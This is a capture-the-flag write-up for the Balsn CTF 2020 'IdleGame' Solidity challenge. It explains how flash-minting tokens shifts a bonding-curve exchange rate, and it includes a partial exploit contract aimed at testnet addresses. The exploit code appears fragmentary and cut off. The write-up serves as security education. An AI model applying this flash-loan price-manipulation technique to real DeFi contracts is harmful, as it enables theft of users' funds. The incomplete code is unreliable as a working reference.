Tags: defi smart-contract 

Rating: 5.0

# Balsn CTF 2020 - IdleGame
>###### tags: `blockchain`
## Attachments
- problem
- [Tokens.sol](https://gist.github.com/YangSeungWon/dea7167b31630c0d8eb853ff6ba53d32#file-tokens-sol)
- [IdleGame.sol](https://gist.github.com/YangSeungWon/dea7167b31630c0d8eb853ff6ba53d32#file-idlegame-sol)
- writeup
- [exploit.sol](https://gist.github.com/YangSeungWon/dea7167b31630c0d8eb853ff6ba53d32#file-exploit-sol)

Attachments are uploaded on [gist](https://gist.github.com/YangSeungWon/dea7167b31630c0d8eb853ff6ba53d32).

## Challenge
____ ____ _____
/ _/__/ / /__ / ___/__ ___ _ ___
_/ // _ / / -_) (_ / _ `/ ' \/ -_)

All game contracts will be deployed on ** Ropsten Testnet **
Please follow the instructions below:

1. Create a game account
2. Deploy a game contract
3. Request for the flag
When you connect to server, you'll get an account in ropsten testnet. After you deposit some ETH to that account, you can deploy contract `Setup`(in IdleGame.sol) using menu 2.
Then you should make contract `Setup`'s variable-sendFlag- to true.

## Token.sol
### SafeMath
At first, it uses library `SafeMath`. This library implemented add, sub, mul, div, but additionally, it guarantees there is **NO overflow** in arithmetic operations.
### ERC20
ERC20 standard is the most generally used token standard in ethereum smart contract. Thanks to SafeMath, it doesn't have overflow bugs.
### FlashERC20
It has `flashMint` function, which lends me some money and immediately take back. In `IBorrower(msg.sender).executeOnFlashMint(amount);`, the execution flow is switched to the caller's `executeOnFlashMint` function.
### ContinuousToken
I read [this article(korean)](https://cryptoturtles.substack.com/p/--e42) to get information about continuous token. To summarize, continuous token's value(relatively to another money, in this case, BalsnToken) varys depends on BancorBondingCurve.

## IdleGame.sol
### BalsnToken
It is simple ERC20 token contract, but it has function `giveMeMoney`, that gives us Free 1 BalsnToken.
### IdleGame
This is also basically ERC20 token, but it inherits `FlashERC20` and `ContinuousToken`. **GamePoint** is the new token, which has flashMint function. Moreover, it can be bought using Balsn Token, and sold to Balsn Token. The exchange rate between them is determined by *BondingCurve* with given *reserveRatio*.
### Setup
It creates BSN token and IDL token. The reserve ratio is 999000(ppm) = 99.90%.
We should call `giveMeFlag` function to set SendFlag variable true, but it is only allowed to IDL contract which this contract generated in the constructor. So if there is no serious functional flaw, we should call `IDL.giveMeFlag()` first. (which requires `(10 ** 8) * scale` IDL.(scale is 10 ** 18))

## Solution
### giveMeMoney
Nobody gives free money, but BSN token DOES!
function giveMeMoney() public {
require(balanceOf(msg.sender) == 0, "BalsnToken: you're too greedy");
_mint(msg.sender, 1);
So I tried...
1. get free money using `BSN.giveMeMoney()`
2. exchage 1 BSN token to IDL token, using `IDL.buyGamePoints(1)` (do not forget to increase allowance from your address to IDL contract address)
3. Repeat!

But with 1 BSN token, you could receive only 36258700 IDL.
>>> 10**26 / 36258700
umm... you could try it, but I found another way.

### levelUp -> getReward
function getReward() public returns (uint) {
uint points = block.timestamp.sub(startTime[msg.sender]);
points = points.add(level[msg.sender]).mul(points);
_mint(msg.sender, points);
startTime[msg.sender] = block.timestamp;
return points;

function levelUp() public {
_burn(msg.sender, level[msg.sender]);
level[msg.sender] = level[msg.sender].add(1);
When you pay same amount of IDL token with your level, then you could level up.
The higher your level is, the more you get(`getReward`). It calculates `timestamp**2 + timestamp*level.`

But timestamp is too small compared to the goal, `10**26`.
>>> time = 1605943620
>>> flag = 10 ** 26
>>> (flag - time**2)/time
>>> level = (flag - time**2)/time
>>> (level+1)*level/2
It costs more than just calling giveMeMoney :(

### Continuous & FlashMintable
After above trials, I thought that there would be some exploitable things that results from two characteristics of Idle Game Token, FlashMint and Continuous.

I read [bZx Hack Analysis: Smart use of DeFi legos. | Mudit Gupta's Blog](https://mudit.blog/bzx-hack-analysis-defi-legos/). This article is about *how FlashLoan property of the token can be a vulnerable point*.
The important point is that When the value of Flash Minted Token changes dramatically, it will cause change of balance, even after flash-loaned token is returned.

This reminded me the fact that continuous token's value varys according to the total supply.

### Test : does the exchange rate of BSN token and IDL token change, as totalSupply changes?
To test this, I flash-mint `10**30IDL`, and checked `calculateContinuousBurnReturn(1)`.

#### before flash-mint

#### during flash-mint

Because this is flash-mint, it returns to normal when the flash-mint value is burnt.

### exploit scenario
pragma solidity =0.5.17;

import "./Tokens.sol";
import "./IdleGame.sol";

contract Exploit is IBorrower {
BalsnToken public BSN;
IdleGame public IDL;
uint public foronemint;
uint public foroneburn;

constructor() public {
BSN = BalsnToken(0x927Be6055D91C328726995058eCa018b88B5282d);
IDL = IdleGame(0x8380580A1AD5f5dC78b82e0a1461D48FCbD7afb3);

function getToken() public view returns (uint) {
return BSN.balanceOf(address(this));

function getGP() public view returns (uint) {
return IDL.balanceOf(address(this));

function getLevel() public view returns (uint) {
return IDL.level(address(this));

function _takeMoney() internal {

function _levelUp() internal {

function incAllow() internal {
BSN.increaseAllowance(address(IDL), uint(-1));

function buyGP(uint val) internal {

function buyAllGP() internal {
if(getToken() > 0){

function sellGP(uint val) internal {

function sellAllGP() internal {
if(getGP() > 0){

function levelUp() internal {
uint level = IDL.level(address(this));
for(uint gp = getGP(); gp

Original writeup (https://hackmd.io/@whysw/HJcnpCVqv).